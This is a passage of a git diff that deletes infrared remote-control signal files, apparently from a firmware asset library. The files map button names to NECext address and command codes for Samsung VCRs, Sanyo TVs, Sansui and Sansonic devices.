-protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: CH/P- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir deleted file mode 100644 index 317881dbb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 82 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 85 00 00 00 -# -name: FORWARD_1 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 86 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 87 00 00 00 -# -name: FORWARD_3 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 88 00 00 00 -# -name: REVERSE_3 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 8F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 90 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 02 00 00 -command: D0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir deleted file mode 100644 index 6f1135454..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir +++ /dev/null @@ -1,554 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: F._ADV/SKIP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 00 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 00 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: TV_/_VCR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: <<_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: RECORD_/_OTR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: CLEAR/RESET -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 20 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 21 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: LINE_IN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 26 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: AUDIO_DUB -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2E 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 32 00 00 00 -# -name: CLOCK/COUNTER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 33 00 00 00 -# -name: RECORD_SPEED -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: SP/SLP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3C 00 00 00 -# -name: AUTO_TRACKING -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3C 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: ART -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3E 00 00 00 -# -name: SHIFT_< -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 42 00 00 00 -# -name: SHIFT_> -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 43 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 45 00 00 00 -# -name: Q._PRO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 45 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 50 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 52 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 59 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 59 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5C 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 67 00 00 00 -# -name: INPUT_SYSTEM -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 6E 00 00 00 -# -name: OUTPUT_SYSTEM -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 6F 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 71 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 73 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 75 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 76 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 77 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 78 00 00 00 -# -name: DIAL_- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: DIAL_+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: FORWARD_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: REVERSE_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: REVERSE_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: <<_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: >>_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: >>_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: <<_30 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: >>_30 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: <<_1/2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: >>_1/2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: <<_1/4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 -# -name: >>_1/4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir deleted file mode 100644 index 4208e6249..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 00 00 00 00 -# -name: dx -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 03 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 04 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 05 00 00 00 -# -name: sx -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 06 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 07 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0B 00 00 00 -# -name: fww -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1C 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 53 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 54 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: v-remote -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 57 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: mark -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 -# -name: is/ps -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir deleted file mode 100644 index 9783fa630..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: up/ch+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: down/ch- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: vchip_menu -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: screen -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: vchip_onoff -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: chan_scan -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: ant_level -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir deleted file mode 100644 index 725b4d9c8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Random -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 00 00 00 00 -# -name: Repeat_1/All -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 01 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 02 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 03 00 00 00 -# -name: Intro -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 04 00 00 00 -# -name: A.Space -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 05 00 00 00 -# -name: Repeat_A-B -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 06 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 09 00 00 00 -# -name: Search_rew -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 0A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 0D 00 00 00 -# -name: AMPS_rew -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 0F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 15 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 19 00 00 00 -# -name: AMPS_ffd -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 1D 00 00 00 -# -name: Search_ffd -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 4D 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir deleted file mode 100644 index e1c750f53..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0F 00 00 00 -# -name: CAPTION -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 12 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 19 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir deleted file mode 100644 index 61a5e112d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0_AV -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 51 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 56 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: D0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir deleted file mode 100644 index 7111e5065..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: tv/vcr -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext 